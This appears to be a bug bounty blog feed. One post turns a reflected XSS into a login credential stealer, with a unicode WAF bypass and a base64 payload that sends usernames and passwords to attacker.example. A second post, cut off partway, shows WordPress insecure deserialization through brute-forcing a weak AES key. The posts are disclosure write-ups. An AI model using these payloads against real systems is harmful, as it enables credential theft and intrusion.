<p>During my hunt, I found an RXSS that was apparently “harmless” and had little impact because all cookies were set with the “HttpOnly” flag, so it was not possible to steal the session cookie. If I had sent the report as it was, it would have been treated as Low/Medium, so I decided to find something to present to the program company that would make it a High.
Since the vulnerability was on the login page of a web app, I decided to turn the XSS into a kind of “phishing” attack.</p>

<h2 id="context">Context</h2>

<p>The login page renders several server-side variables into a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> block. One of them—coming from a query parameter (<code class="language-plaintext highlighter-rouge">l</code>)—is echoed inside a JavaScript string:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
  <span class="cm">/* ... */</span>
  <span class="kd">var</span> <span class="nx">AspInterfaceLanguage</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">test</span><span class="dl">"</span><span class="p">;</span> <span class="c1">// ← user-controlled</span>
  <span class="cm">/* ... */</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>This is the classic <strong>JS-in-JS sink</strong>: if you can close the string and re-enter code context, you execute arbitrary JavaScript without touching HTML at all.</p>

<h3 id="finding-the-break-point">Finding the break point</h3>

<p>The goal is to use <code class="language-plaintext highlighter-rouge">l</code> to <strong>close</strong> the string, <strong>inject</strong> code, and then <strong>repair</strong> the syntax so the rest of the page parses cleanly.</p>

<p>A minimal mental model of the injected sequence:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"            // end the original string
;            // finish the statement defensively
&lt;INJECTION&gt;  // run my JavaScript
; a = "      // resume the string the page expects
</code></pre></div></div>
<p>So the URL looks something like this: 
<code class="language-plaintext highlighter-rouge">/Login.asp?IdSite=0&amp;Error=&amp;l=test";&lt;INJECTION&gt;;a="</code></p>

<p>Which is reflected in this way :</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
    <span class="cm">/* ... */</span>
    <span class="kd">var</span> <span class="nx">AspInterfaceLanguage</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">test</span><span class="dl">"</span><span class="o">&lt;</span><span class="nx">INJECTION</span><span class="o">&gt;</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="dl">""</span><span class="p">;</span>
    <span class="cm">/* ... */</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Before proceeding with the exploit there is a clarification to be made the webapp has a WAF system in front that recognizes possible malicious javascript patterns (alert/eval etc.) and blocks requests. 
So to bypass this control, unicode was used in this way :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">\</span><span class="nx">u0061</span><span class="err">\</span><span class="nx">u006C</span><span class="err">\</span><span class="nx">u0065</span><span class="err">\</span><span class="nx">u0072</span><span class="err">\</span><span class="nx">u0074</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1">// alert(1)</span>
</code></pre></div></div>
<p>I don’t know if it’s a WAF or a backend check, but it’s really weak and stupid.</p>

<p>So the payload to trigger an alert is:
<code class="language-plaintext highlighter-rouge">/Login.asp?IdSite=0&amp;Error=&amp;l=test";\u0061\u006C\u0065\u0072\u0074(1);a="</code></p>

<h2 id="convert-xss-into-credential-stealer-to-increase-impact">Convert XSS into “Credential Stealer” to increase impact</h2>

<p>Analyzing the login page, I noticed that the login form was managed by a JS function <code class="language-plaintext highlighter-rouge">DoLogin()</code> declared in another <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag further down.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nt">&lt;script&gt;</span>

<span class="cm">/* ..... */</span>

<span class="kd">function</span> <span class="nx">DoLogin</span><span class="p">()</span> <span class="p">{</span>

    <span class="cm">/* ...... */</span>
    
    <span class="kd">var</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">Trim</span><span class="p">(</span><span class="nx">FormInput</span><span class="p">.</span><span class="nx">InputUtente</span><span class="p">.</span><span class="nx">value</span><span class="p">)</span>
    <span class="kd">var</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">Trim</span><span class="p">(</span><span class="nx">FormInput</span><span class="p">.</span><span class="nx">InputPassword</span><span class="p">.</span><span class="nx">value</span><span class="p">)</span> 
        
    <span class="cm">/* ...... */</span>

<span class="p">}</span>

<span class="cm">/* ..... */</span>

<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>So I thought that if I replaced the content of the <code class="language-plaintext highlighter-rouge">DoLogin()</code> function with malicious code, I would have control over the login process. For Example :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kd">const</span> <span class="nx">DoLogin</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">pwd</span>  <span class="o">=</span> <span class="nx">Trim</span><span class="p">(</span><span class="nx">FormInput</span><span class="p">.</span><span class="nx">InputPassword</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">Trim</span><span class="p">(</span><span class="nx">FormInput</span><span class="p">.</span><span class="nx">InputUtente</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>

  <span class="c1">// PoC: send to a controlled listener</span>
  <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://attacker.example/?</span><span class="dl">"</span> <span class="o">+</span>
        <span class="dl">"</span><span class="s2">u=</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="o">+</span>
        <span class="dl">"</span><span class="s2">&amp;p=</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">pwd</span><span class="p">));</span>
<span class="p">};</span>

</code></pre></div></div>
<p>I use <code class="language-plaintext highlighter-rouge">const</code> to prevent the function from being redefined later with the legitimate one in the <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag below.</p>

<p>However, this payload converted to Unicode became extremely long, so I decided to use eval+base64 to make it more deliverable.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="err">\</span><span class="nx">u0065</span><span class="err">\</span><span class="nx">u0076</span><span class="err">\</span><span class="nx">u0061</span><span class="err">\</span><span class="nx">u006C</span><span class="p">(</span><span class="err">\</span><span class="nx">u0061</span><span class="err">\</span><span class="nx">u0074</span><span class="err">\</span><span class="nx">u006F</span><span class="err">\</span><span class="nx">u0062</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;BASE_64_PAYLOAD&gt;</span><span class="dl">'</span><span class="p">))</span>  <span class="c1">// eval(atob('&lt;BASE_64_PAYLOAD&gt;'))</span>

</code></pre></div></div>

<p>At this point, I encountered a problem and discovered that if you use <code class="language-plaintext highlighter-rouge">const</code> or <code class="language-plaintext highlighter-rouge">let</code> inside <code class="language-plaintext highlighter-rouge">eval()</code>, the declared variables/functions are not accessible globally but remain accessible only inside <code class="language-plaintext highlighter-rouge">eval()</code>.  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval() reference</a></p>

<p>So, to avoid this problem, I created a new script element that contains the payload.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">s</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">s</span><span class="p">.</span><span class="nx">textContent</span><span class="o">=</span><span class="dl">"</span><span class="s2">const DoLogin = () =&gt; {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&amp;p='+encodeURIComponent(pwd));}</span><span class="dl">"</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">s</span><span class="p">);</span>
</code></pre></div></div>

<p>Now let’s encode all of the above code in base64 and insert it into the final payload.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="err">\</span><span class="nx">u0065</span><span class="err">\</span><span class="nx">u0076</span><span class="err">\</span><span class="nx">u0061</span><span class="err">\</span><span class="nx">u006C</span><span class="p">(</span><span class="err">\</span><span class="nx">u0061</span><span class="err">\</span><span class="nx">u0074</span><span class="err">\</span><span class="nx">u006F</span><span class="err">\</span><span class="nx">u0062</span><span class="p">(</span><span class="dl">'</span><span class="s1">dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQpzLnRleHRDb250ZW50PSJjb25zdCBEb0xvZ2luID0gKCkgPT4ge2NvbnN0IHB3ZCA9IFRyaW0oRm9ybUlucHV0LklucHV0UGFzc3dvcmQudmFsdWUpOyBjb25zdCB1c2VyID0gVHJpbShGb3JtSW5wdXQuSW5wdXRVdGVudGUudmFsdWUpOyBmZXRjaCgnaHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlLz91PScrZW5jb2RlVVJJQ29tcG9uZW50KHVzZXIpKycmcD0nK2VuY29kZVVSSUNvbXBvbmVudChwd2QpKTt9IjsNCmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7</span><span class="dl">'</span><span class="p">))</span>

</code></pre></div></div>

<h3 id="execution-order-the-tiny-detail-that-changes-everything">Execution order: the tiny detail that changes everything</h3>

<p>The <strong>vulnerable</strong> <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> (the one with var <code class="language-plaintext highlighter-rouge">AspInterfaceLanguage = "..."</code>) appears <strong>before</strong> the script that defines the legitimate DoLogin(). That means:</p>

<ol>
  <li>
    <p>The payload runs <strong>immediately</strong> as the parser processes the first <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code>.</p>
  </li>
  <li>
    <p>The injector adds a new <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> that declares <code class="language-plaintext highlighter-rouge">const DoLogin</code> <strong>first</strong>.</p>
  </li>
  <li>
    <p>When the later script tries to declare <code class="language-plaintext highlighter-rouge">function DoLogin(){...}</code>, the name is <strong>already bound</strong>, leaving my hook in control.</p>
  </li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>With this little trick, I turned a simple, low-impact XSS into a “Credential Stealer.” The triager evaluated and accepted it as High, and I received a bounty of €1,200.</p>]]></content><author><name>Martino Spagnuolo</name></author><category term="bugbounty" /><summary type="html"><![CDATA[From the classic “quote break” in a to a login takeover: step by step, I show how a “low-impact” RXSS becomes a real credential stealer.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2025-08-25-rxss-credential-stealer/images/cover.jpg" /><media:content medium="image" url="https://r3verii.github.io/assets/2025-08-25-rxss-credential-stealer/images/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">3 Ways In: Exploiting WordPress Plugins via File Upload and Deserialization</title><link href="https://r3verii.github.io/cve/2025/04/08/expoiting-wordpress.html" rel="alternate" type="text/html" title="3 Ways In: Exploiting WordPress Plugins via File Upload and Deserialization" /><published>2025-04-08T08:14:54+00:00</published><updated>2025-04-08T08:14:54+00:00</updated><id>https://r3verii.github.io/cve/2025/04/08/expoiting-wordpress</id><content type="html" xml:base="https://r3verii.github.io/cve/2025/04/08/expoiting-wordpress.html"><![CDATA[<p><img src="/assets/2025-04-08-expoiting-wordpress/images/cover.png" alt="Cover" /></p>

<h4 id="about-me">About Me:</h4>

<p>In the last 2 months I have been focusing on finding vulnerabilities on Wordpress plugins and i got more than 100 CVEs</p>

<p>In this post I will show and explain some of the most interesting vulnerabilities found, I will try to explain everything in detail but for an easier understanding knowledge of PHP and Wordpress is needed</p>

<p>The vulnerabilities below are :</p>
<ul>
  <li><a href="#php-object-injection-insecure-deserialization-via-cracking-an-aes-encryption-key">PHP Object Injection (Insecure Deserialization) via cracking an AES encryption key</a></li>
  <li><a href="#arbitrary-file-upload-via-base64-encoded-dataimage-format">Arbitrary File Upload via base64-encoded data:image/* format</a></li>
  <li><a href="#arbitrary-file-upload-via-external-image-url-and-improper-content-type-handling">Arbitrary File Upload via External Image URL and Improper Content-Type Handling</a></li>
</ul>

<hr />

<p><br /><br /></p>

<h1 id="php-object-injection-insecure-deserialization-via-cracking-an-aes-encryption-key">PHP Object Injection (Insecure Deserialization) via cracking an AES encryption key</h1>

<p>An insecure deserialization vulnerability was identified in the guest_ticket_login functionality of the plugin. The application decrypts and unserializes user-controlled input ($_GET[‘p’]) using a weak AES-256-CBC key stored in the WordPress wp_options table. This key is generated using a predictable algorithm based on time() and random numbers. An attacker can brute-force the encryption key if the plugin installation timestamp is known (e.g., via the Last-Modified header), enabling arbitrary object injection and, under certain conditions, guest user account takeover.</p>

<h3 id="analysis-of-vulnerable-functions-">Analysis of vulnerable functions :</h3>

<p><code class="language-plaintext highlighter-rouge">Apbd_wps_settings.php</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="k">public</span> <span class="k">function</span> <span class="n">guest_ticket_login</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$ticket_param</span> <span class="o">=</span> <span class="nb">rtrim</span><span class="p">(</span><span class="nf">APBD_GetValue</span><span class="p">(</span><span class="s1">'p'</span><span class="p">,</span> <span class="s1">''</span><span class="p">),</span> <span class="s1">'/'</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$ticket_param</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$encKey</span> <span class="o">=</span> <span class="n">Apbd_wps_settings</span><span class="o">::</span><span class="nf">GetEncryptionKey</span><span class="p">();</span>
            <span class="nv">$encObj</span> <span class="o">=</span> <span class="n">Apbd_WPS_EncryptionLib</span><span class="o">::</span><span class="nf">getInstance</span><span class="p">(</span><span class="nv">$encKey</span><span class="p">);</span>
            <span class="nv">$requestParam</span> <span class="o">=</span> <span class="nv">$encObj</span><span class="o">-&gt;</span><span class="nf">decryptObj</span><span class="p">(</span><span class="nv">$ticket_param</span><span class="p">);</span>

            <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_id</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">))</span> <span class="p">{</span>
                <span class="nv">$ticket</span> <span class="o">=</span> <span class="n">Mapbd_wps_ticket</span><span class="o">::</span><span class="nf">FindBy</span><span class="p">(</span><span class="s2">"id"</span><span class="p">,</span> <span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_id</span><span class="p">);</span>

                <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$ticket</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span> <span class="o">==</span> <span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nv">$is_guest_user</span> <span class="o">=</span> <span class="nf">get_user_meta</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">,</span> <span class="s2">"is_guest"</span><span class="p">,</span> <span class="kc">true</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"Y"</span><span class="p">;</span>
                    <span class="nv">$disable_hotlink</span> <span class="o">=</span> <span class="n">Apbd_wps_settings</span><span class="o">::</span><span class="nf">GetModuleOption</span><span class="p">(</span><span class="s1">'disable_ticket_hotlink'</span><span class="p">,</span> <span class="s1">'N'</span><span class="p">);</span>

                    <span class="k">if</span> <span class="p">(</span><span class="nv">$is_guest_user</span> <span class="o">||</span> <span class="s1">'Y'</span> <span class="o">!==</span> <span class="nv">$disable_hotlink</span><span class="p">)</span> <span class="p">{</span>
                        <span class="nv">$ticket_link</span> <span class="o">=</span> <span class="n">Mapbd_wps_ticket</span><span class="o">::</span><span class="nf">getTicketAdminLink</span><span class="p">(</span><span class="nv">$ticket</span><span class="p">);</span>

                        <span class="k">if</span> <span class="p">(</span><span class="nf">is_user_logged_in</span><span class="p">())</span> <span class="p">{</span>
                            <span class="nf">wp_logout</span><span class="p">();</span>
                        <span class="p">}</span>

                        <span class="nf">wp_clear_auth_cookie</span><span class="p">();</span>
                        <span class="nf">wp_set_current_user</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">);</span>
                        <span class="nf">wp_set_auth_cookie</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">);</span>
                        <span class="nf">wp_safe_redirect</span><span class="p">(</span><span class="nv">$ticket_link</span><span class="p">);</span>
                        <span class="k">exit</span><span class="p">;</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

</code></pre></div></div>

<p>This function takes the value of the GET parameter <code class="language-plaintext highlighter-rouge">p</code> and decrypts it with <code class="language-plaintext highlighter-rouge">decryptObj</code></p>

<p><code class="language-plaintext highlighter-rouge">Apbd_WPS_EncryptionLib.php</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kd">class</span> <span class="nc">Apbd_WPS_EncryptionLib</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="nv">$key</span> <span class="o">=</span> <span class="s2">"APBDWPS"</span><span class="p">;</span>
    <span class="k">private</span> <span class="nv">$cipher</span> <span class="o">=</span> <span class="s2">"AES-256-CBC"</span><span class="p">;</span>
    <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$key</span> <span class="o">=</span> <span class="s2">"APBDWPS"</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">key</span> <span class="o">=</span> <span class="nv">$key</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">static</span> <span class="k">function</span> <span class="n">getInstance</span><span class="p">(</span><span class="nv">$key</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nc">self</span><span class="p">(</span><span class="nv">$key</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">function</span> <span class="n">encrypt</span><span class="p">(</span><span class="nv">$plainText</span><span class="p">,</span> <span class="nv">$password</span> <span class="o">=</span> <span class="s1">''</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$password</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$password</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">key</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nv">$plainText</span> <span class="o">=</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">)</span> <span class="mf">.</span> <span class="nv">$plainText</span> <span class="mf">.</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">);</span>
        <span class="nv">$method</span> <span class="o">=</span> <span class="s1">'aes-256-cbc'</span><span class="p">;</span>
        <span class="nv">$key</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$password</span><span class="p">,</span> <span class="kc">true</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
        <span class="nv">$iv</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">strtoupper</span><span class="p">(</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$password</span><span class="p">)),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">base64_encode</span><span class="p">(</span><span class="nb">openssl_encrypt</span><span class="p">(</span><span class="nv">$plainText</span><span class="p">,</span> <span class="nv">$method</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="no">OPENSSL_RAW_DATA</span><span class="p">,</span> <span class="nv">$iv</span><span class="p">));</span>
    <span class="p">}</span>
    <span class="k">function</span> <span class="n">decrypt</span><span class="p">(</span><span class="nv">$encrypted</span><span class="p">,</span> <span class="nv">$password</span> <span class="o">=</span> <span class="s1">''</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$password</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$password</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">key</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nv">$method</span> <span class="o">=</span> <span class="s1">'aes-256-cbc'</span><span class="p">;</span>
        <span class="nv">$key</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$password</span><span class="p">,</span> <span class="kc">true</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
        <span class="nv">$iv</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nb">strtoupper</span><span class="p">(</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$password</span><span class="p">)),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
        <span class="nv">$plaintext</span> <span class="o">=</span> <span class="nb">openssl_decrypt</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$encrypted</span><span class="p">),</span> <span class="nv">$method</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="no">OPENSSL_RAW_DATA</span><span class="p">,</span> <span class="nv">$iv</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$plaintext</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">function</span> <span class="n">encryptObj</span><span class="p">(</span><span class="nv">$obj</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$text</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">encrypt</span><span class="p">(</span><span class="nv">$text</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">function</span> <span class="n">decryptObj</span><span class="p">(</span><span class="nv">$ciphertext</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$text</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">decrypt</span><span class="p">(</span><span class="nv">$ciphertext</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$text</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

</code></pre></div></div>
<p>As you can see the function <code class="language-plaintext highlighter-rouge">decryptObj()</code> , decrypts the content using the AES algorithm and the key instantiated in the <code class="language-plaintext highlighter-rouge">$this-&gt;key</code> class.</p>

<p>So if we knew the key we could send a serialized and encrypted malicious object which will then be deserialized</p>

<p>Reading the other functions in the source I noticed that the key is created and saved in “wp_options” , at the exact moment the plugin is installed or updated</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>

MariaDB [wordpress]&gt; select * from wp_options where option_name LIKE '%apbd_wps_encryption_key%';
+-----------+-------------------------+----------------------------------+----------+
| option_id | option_name             | option_value                     | autoload |
+-----------+-------------------------+----------------------------------+----------+
|       841 | apbd_wps_encryption_key | 1ea5aaa45f46e51857793f651b576cc6 | auto     |
+-----------+-------------------------+----------------------------------+----------+


</code></pre></div></div>

<p>The problem is in the function <code class="language-plaintext highlighter-rouge">APBD_EncryptionKey()</code> that generates the key , which is very weak</p>

<p><code class="language-plaintext highlighter-rouge">secondary_helper.php</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nb">function_exists</span><span class="p">(</span><span class="s1">'APBD_EncryptionKey'</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">function</span> <span class="n">APBD_EncryptionKey</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nb">md5</span><span class="p">(</span><span class="nb">rand</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">)</span> <span class="mf">.</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">)</span> <span class="mf">.</span> <span class="nb">time</span><span class="p">()</span> <span class="mf">.</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">99</span><span class="p">));</span>
    <span class="p">}</span>
<span class="p">}</span>

</code></pre></div></div>

<p>This algorithm used to generate the key becomes even weaker if we know the time when the key was created , which corresponds to the installation time of the plugin that can be deduced from the header “Last Modified” which is present in all wordpress plugins in <code class="language-plaintext highlighter-rouge">/wp-content/plugins/[plugin_slug]/readme.txt</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>

└─$ curl -v http://127.0.0.1:8080/wp-content/plugins/REDACTED/readme.txt
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
&gt; GET /wp-content/plugins/REDACTED/readme.txt HTTP/1.1
&gt; Host: 127.0.0.1:8080
&gt; User-Agent: curl/8.10.1
&gt; Accept: */*
&gt; 
* Request completely sent off
&lt; HTTP/1.1 200 OK
&lt; Date: Thu, 13 Mar 2025 07:59:05 GMT
&lt; Server: Apache/2.4.62 (Debian)
&lt; Last-Modified: Wed, 12 Mar 2025 15:52:40 GMT
&lt; ETag: "5ad8-6302731f4d5d8"
&lt; Accept-Ranges: bytes
&lt; Content-Length: 23256
&lt; Vary: Accept-Encoding
&lt; Content-Type: text/plain
&lt; 
=== REDACTED ===
Contributors: REDACTED
Author link: REDACTED
Tags: REDACTED
Requires at least: 5.0
Tested up to: 6.7
Requires PHP: 7.2
Stable tag: 1.4.11
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

</code></pre></div></div>

<p>From the response we can infer that the plugin was installed about the <code class="language-plaintext highlighter-rouge">Wed, 12 Mar 2025 15:52:40 GMT</code></p>

<p>Now knowing the time , we can calculate all the possible combinations by inserting a tolerance of +-10 seconds in the timestamp we have about 25 million combinations that with some time and patience we can use to fuzz the parameter “p”</p>

<p><strong>Practical examples</strong></p>

<p>I wrote a python script to demonstrate the weakness of the algorithm that generates the key , the script simply tries to crack an md5 in this case I used the key taken from the db ‘wp_options’</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span>

<span class="c1"># Target hash to find
</span><span class="n">target_hash</span> <span class="o">=</span> <span class="s">"1ea5aaa45f46e51857793f651b576cc6"</span> <span class="c1"># Taken from the wp_options db 
</span>
<span class="c1"># Convert the given date to a Unix timestamp
</span><span class="n">target_dt</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">2025</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">)</span> <span class="c1"># Taken from the header Last-Modified: Wed, 12 Mar 2025 15:52:40 GMT
</span><span class="n">target_timestamp</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">target_dt</span><span class="p">.</span><span class="n">timestamp</span><span class="p">())</span>

<span class="c1"># Define the interval of ±10 seconds around the target timestamp
</span><span class="n">start_time</span> <span class="o">=</span> <span class="n">target_timestamp</span> <span class="o">-</span> <span class="mi">10</span>
<span class="n">end_time</span> <span class="o">=</span> <span class="n">target_timestamp</span> <span class="o">+</span> <span class="mi">10</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Starting search..."</span><span class="p">)</span>

<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">attempts</span> <span class="o">=</span> <span class="mi">0</span>

<span class="c1"># Record the start time
</span><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>

<span class="c1"># Iterate over all possible timestamps in the interval
</span><span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">start_time</span><span class="p">,</span> <span class="n">end_time</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
    <span class="c1"># Iterate over the three random numbers (from 10 to 99 inclusive)
